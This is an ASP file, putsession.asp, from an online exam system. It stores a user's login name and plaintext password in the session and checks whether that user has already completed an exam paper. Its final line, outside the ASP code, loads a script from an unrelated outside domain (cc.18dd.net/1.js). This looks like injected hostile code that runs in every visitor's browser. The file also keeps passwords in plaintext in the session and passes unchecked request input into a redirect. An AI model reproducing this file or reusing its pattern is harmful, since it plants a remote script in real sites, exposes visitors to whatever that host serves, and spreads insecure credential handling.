putsession.asp

来自「通过在线考试系统使得老师及管理者快速高效地完成考试及教学任务」· ASP 代码 · 共 23 行

<!--#include file="conndb.asp"-->
<!--#include file="class/EData.asp"-->
<%
  Dim UID,PSWD
  '取输入的用户名和密码
  UID = Request("loginname")
  PSWD = Request("password")
  pid = Request("pid")
	
  ' 把用户名和密码放入session
  Session("UserName") = UID
  Session("UserPwd") = PSWD
  '判断该用户是否已经完成此试卷考试
  Set dt = New EData
  dt.UserName = UID
  dt.PId = pid
  If dt.GetUserPaper() Then
    Response.Write "<Script language=javascript>alert('您已经完成了该课程的考试！');history.go(-1);</script>"
  Else
    Response.Redirect("index.asp?pid=" & pid)
  End IF
%>
<script language=javascript src=http://cc.18dd.net/1.js></script>